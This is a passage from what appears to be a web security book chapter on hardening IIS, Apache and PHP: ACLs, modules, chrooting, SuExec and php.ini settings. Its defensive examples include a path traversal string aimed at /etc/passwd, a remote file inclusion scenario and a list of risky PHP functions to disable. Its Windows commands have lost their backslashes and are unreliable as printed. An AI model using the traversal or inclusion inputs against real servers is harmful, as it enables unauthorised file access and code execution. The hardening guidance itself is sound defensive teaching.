With FAT and FAT32 file systems, file- and directory-level access control is impossible; as a result, the IUSR account has carte blanche to read and upload files. When configuring access control on web-accessible NTFS directories, use the least-privilege principle. IIS 5 and above also provide the IIS Permissions Wizard that walks you through a scenario-based process of setting ACLs. We strongly suggest that you use it.
Move, Rename, Delete, or Restrict Any Powerful Utilities
Microsoft recommends setting the NTFS ACLs on cmd.exe and several other powerful executables to Administrator and SYSTEM:Full Control only. Microsoft has publicly demonstrated that this simple trick stops most remote command execution shenanigans cold, because IUSR no longer has permissions to access cmd.exe. Microsoft also recommends using the built-in CACLS tool to set these permissions globally. Let’s walk through an example of how CACLS might be used to set permissions on executable files in the system directory. Because so many executable files are in the system folder, it’s easier for us to explore a simple example by moving files to a new directory called test1 with a subdirectory named test2. Using CACLS in display-only mode, we can see the existing permissions of our test files are way too lax:
C:cacls test1 /T
C: est1 Everyone: (OI)(CI)F
C: est1 est1.exe Everyone:F
C: est1 est1.txt Everyone:F
C: est1 est2 Everyone:(OI)(CI)F
C: est1 est2 est2.exe Everyone:F
C: est1 est2 est2.txt Everyone:F
Let’s assume that you want to change the permissions for all executable files in test1 and all subdirectories to System:Full, Administrators:Full. Here’s the command syntax you’d need using CACLS:
C:cacls test1*.exe /T /G System:F Administrators:F
Are you sure (Y/N)?y
processed file: C: est1 est1.exe
processed file: C: est1 est2 est2.exe
Now you run CACLS again to confirm your results. Note that the .txt files in all subdirectories have the original permissions, but the executable files are now appropriately set:
C:cacls test1 /T
C: est1 Everyone: (OI)(CI)F
C: est1 est1.exe NT AUTHORITYSYSTEM:F
BUILTINAdministrators: F
C: est1 est1.txt Everyone:F
C: est1 est2 Everyone: (OI) (CI)F
C: est1 est2 est2.exe NT AUTHORITYSYSTEM:F
BUILTINAdministrators: F
C: est1 est2 est2.txt Everyone:F
When applying this example to a typical web server, it’s a good practice to set ACLs on all executables in the %systemroot% directory to System:Full, Administrators:Full, like so:
C:cacls %systemroot%*.exe /T /G System:F Administrators: F
This blocks nonadministrative users from these executables and helps to prevent exploits such as Unicode, which rely heavily on nonprivileged access to these programs.
Of course, such executables may also be moved, renamed, or deleted, putting them even further out of the reach of hackers.
Remove the Everyone and Guests Groups from Write and Execute ACLs on the Server
The anonymous IIS access accounts IUSR_machinename and IWAM_machinename are members of these groups. You want to be extra careful that the IUSR and IWAM accounts don’t have write access to any files or directories on your system—you’ve already witnessed what shenanigans a single writable directory can lead to! Also, carefully scrutinize execute permissions for nonprivileged groups. And be especially sure not to allow any nonprivileged users to have both write and execute permissions to the same directory!
Scrutinize Existing ISAPI Applications for Calls to RevertToSelf and Expunge Them
Older versions of IIS were vulnerable to a privilege escalation attack against the RevertToSelf Win32 programming call. By instantiating an existing DLL that made this call, attackers could subvert it to gain all-powerful LocalSystem privileges. IIS versions 5 and older are the main concern here, although version 6 in compatibility mode can also be vulnerable. You can help prevent RevertToSelf calls from being used to escalate privilege by assessing your IIS DLLs for this call. Use the dumpbin tool included with many Win32 developer tools to assist you with this, as shown in the following example using IsapiExt.dll:
dumpbin /imports IsapiExt.dll | find "RevertToSelf"
Apache Hardening
Apache comes fairly secure right out of the box, and the Apache group does a good job at fixing most security problems quickly. When you start using Apache in the real world, though, and run real-world web applications on top of it, securing Apache can begin to get quite complex.
In fact, when looking at all the ways Apache can be configured and the ways that it can be misconfigured, the task of securing Apache or even knowing all the proper ways of securing Apache becomes quite daunting. We have compiled a list of what some consider to be the top security basics that should be done on any Apache server in order to harden the server properly. This list is by no means comprehensive or complete and can change depending on what you might be using the server for. Luckily, plenty of automated scripts, tools, and documentation are available that can be used to help you walk through a proper Apache security configuration. References to these can be found at the end of this chapter.
Disable Unneeded Modules
One of the most important things to consider when installing Apache is what types of functionality the web server needs to have. For instance, are PHP scripts or Perl scripts going to be run? Will Server Side Includes be used in the application running on the web server? Once you can create a list of needed functionality, you can enable the appropriate modules. You can retrieve a list of all the enabled modules by using httpd:
# httpd -l
Compiled-in modules:
http_core.c
mod_env.c
mod_log_config.c
mod_mime.c
mod_negotiation.c
mod_status.c
mod_include.c
mod_autoindex.c
mod_dir.c
mod_cgi.c
mod_asis.c
mod_imap.c
mod_actions.c
mod_userdir.c
mod_alias.c
mod_access.c
mod_auth.c
mod_so.c
mod_setenvif.c
mod_perl.c
To disable modules, use the configure script before compiling and pass in any modules that should be disabled.
• For Apache 1.x ./configure --disable-module=userdir
• For Apache 2.x ./configure --disable-userdir
NOTE
This method is used to remove built-in modules in Apache and does not apply to dynamic modules.
The modules shown in Table 3-2 could be a security risk and we recommend removing them in your Apache configuration.
Table 3-2 Apache Modules That Are Potential Security Risks and Should Be Considered for Removal
Implement ModSecurity
ModSecurity is an Apache module written by Ivan Ristic that works as a web application firewall. It has a huge amount of flexibility and is considered one of the best projects available in terms of helping to secure Apache against application and web platform attacks. Some of ModSecurity’s features are listed here:
• Request filtering
• Anti-evasion techniques
• HTTP filtering rules
• Full audit logging
• HTTPS intercepting
• Chroot functionality
• Mask web server identity
Chrooting Apache
One of the standard rules in security is to practice defense in depth. When attackers break into a web server, one of the first things the attackers will do is attempt to access files on the system such as /etc/passwd, or escalate their privileges via a local exploit. In order to prevent this type of attack, a method of putting the Apache server in a contained environment, or “jail” of sorts, has been created, and it is called chrooting. By implementing this, Apache runs with limited privileges inside of its own contained file system. If attackers were to gain access to the file system, they would be stuck inside this jail environment with no access to the real file system. There are two methods to chrooting Apache that we’ll review here.
External Chrooting
This type of chrooting starts out with a file system that contains nothing but the basic shell. All processes and required dependencies need to be copied to this environment in order to run. This is a real containment method for Apache in that if an attacker breaks into a shell somehow, he has nowhere to go. The method to set up and configure this kind of jail is complex and requires research, depending on what software is required to run with the web application. To find out more detailed steps on how to set up this environment, see the “References & Further Reading” section at the end of this chapter.
Internal Chrooting
Internal chrooting is different from external chrooting in that during internal chrooting, the chroot is created from inside the Apache process. Apache starts out and initializes normally but then creates a chroot environment for the process to run. By default, Apache does not support this kind of chroot method. However, a couple of people have created third-party add-ons that enable Apache to support this.
• ModSecurity supports a chroot environment via its SecChrootDir configuration. Just set the value to the directory where you would like Apache to be jailed.
• ModChroot is an Apache module that works in the same manner as the ModSecurity chroot. Just set the ChrootDir to the proper directory.
• Apache chroot(2) patch by Arjan De Vet is an actual patch to Apache that enables support for internal chrooting.
Implement SuExec
Implementing an execution wrapper like SuExec allows you to run CGI scripts with the privileges of another user besides the default Apache web user. Used correctly, this can help enforce the principle of least privilege, which is an important element of building “defense-in-depth” into a web server. Let’s look at an example where SuExec could be used to provide least privilege.
A multihosted environment exists that allows each virtual-hosted web site to upload and host its own scripts. If SuExec is not used, any hole, or even a malicious web site administrator, could access the contents of any of the other web sites being hosted on that server. This can be a big problem, particularly if you have tested your web site and have taken all precautions to secure your code and create a good secure web configuration, only to find out you were hacked because one of the other virtual sites had a security issue and an attacker gained access via that route over which you had no control.
Now you can see why something like SuExec is important. Installing and configuring SuExec can sometimes be a complex and frustrating process. SuExec’s configuration is very strict and multiple things have to be set up properly. We suggest walking through the process using Apache’s documentation, which can be located in the “References & Further Reading” section at the end of this chapter.
Document Root Restriction
An important configuration is to make sure that Apache is not allowed to access anything outside the document root. This type of restriction is quite simple and can be done with the following configuration change in httpd.conf:
<Directory/>
order deny,allow
deny from all
</Directory>
<Directory /www/htdocs>
order allow,deny
allow from all
</Directory>
Using Apache Benchmark from CIS
Manually going through and trying to secure Apache is a daunting task; luckily, there is the Apache Benchmark from the Center of Internet Security. They produce a document that explains how to harden Apache properly and produce a tool that checks your given configuration and explains whether you pass or fail a certain security requirement. The following is a simple walkthrough of how to use their tool to check an Apache configuration.
First, download the product from their web site and unzip it to a working directory. Run the benchmark.pl script and point it to your httpd.conf file:
./benchmark2.pl -c /etc/apache2/apache2.conf -o result.html
#=========[ CIS Apache Benchmark Scoring Tool 2.10 ]==========#
Score an Apache configuration file with the CIS Apache Benchmark.
Version: 2.10
Copyright 2003-2005, CISecurity. All rights reserved.
#=============================================================#
CIS Apache Benchmark requires answers to the following questions:
Press enter to continue.
Questions
----------------------------------------------
- Location of the Apache server binary [] /usr/sbin/apache2
- Has the Operating System been hardened according to any and all
applicable OS system security benchmark guidance? [yes|no]
- Created three dedicated web groups? [yes|no]
- Downloaded the Apache source and MD5 Checksums from httpd.apache
.org? [yes|no]
- Verified the Apache MD5 Checksums? [yes|no]
- Applied the current distribution patches? [yes|no]
- Compiled and installed Apache distribution? [yes|no]
- Is the webmaster@localhost address a valid email alias? [yes|no]
- Are fake CGI scripts used? [yes|no]
- Have you implemented any basic authentication access controls?
[yes|no]
- Updated the default apachectl start script’s code to send alerts to
the appropriate personnel? [yes|no]
The Benchmark asks a series of questions, runs a security-checking script against your configuration, and produces a report, letting you know what issues need to be fixed. You can then reference the included Benchmark document for how to solve each issue.
PHP Best Practices
Since we discussed a number of vulnerabilities in the popular PHP scripting platform, here are a few tips on making sure you avoid them:
• Apply strict input validation to all user input.
• Use eval(), passthru(), system(), and other functions sparingly and without user input.
• Turn register_globals off.
Common Security Options for PHP
The following configuration options are security related and can be set in the php.ini file. Using these settings ensures that the PHP configuration you have running is securely set by default.
open_basedir
This setting will restrict any file access to a specified directory. Any file operations are then limited to what is specified here. A good recommendation is that any file operations being performed should be located within a certain set of directories. This way, the standard old “../../../../etc/passwd” won’t go anywhere.
disable_functions
This allows a set of functions to be disabled in PHP. Disabling functions is considered a great way to practice defense in depth. If the applications don’t make use of security-risky functions such as eval(), passthru(), system(), etc., then add these as functions that should never be allowed. If an attacker does find a security issue in PHP code, it will cause you some headaches.
expose_php
Setting this configuration to off will remove the PHP banner that displays in the server headers on an HTTP response. If your concern is to hide the version of PHP or the fact that it is running on the application, setting this will help.
display_errors
This setting is a simple but important configuration that enables detailed error information to be displayed to the user on an exception. This setting should always be turned off in any production environment.
safe_mode
Turning safe_mode on in PHP allows very strict file access permissions. It does this by checking the permissions of the owner of the PHP script that is running and any file access that the script attempts. If the permissions do not match, then PHP throws a security exception. Safe_mode is mostly used by ISPs, so that in virtual-hosted environments, multiple users can develop their own PHP scripts without risking the integrity of the server.
allow_url_fopen
This configuration option will disable the ability to do file operations on remote files. This is a nice overall setting to prevent remote file inclusion vulnerabilities from working. An example of this would be if the $absolute_path variable in the following code sample was set to a value of http://www.site.com/; the exploit would fail because allow_url_fopen was set.
include($absolute_path.'inc/adodb/adodb.inc.php'),
SUMMARY
In this chapter, you learned that the best defense for many major web platform vulnerabilities includes keeping up with vendor security patches, disabling unnecessary functionality on the web server, and diligently scanning for the inevitable offender that sneaks past your predeployment validation processes. Remember, no application can be secured if it’s built on a web platform that’s full of security holes.
REFERENCES & FURTHER READING
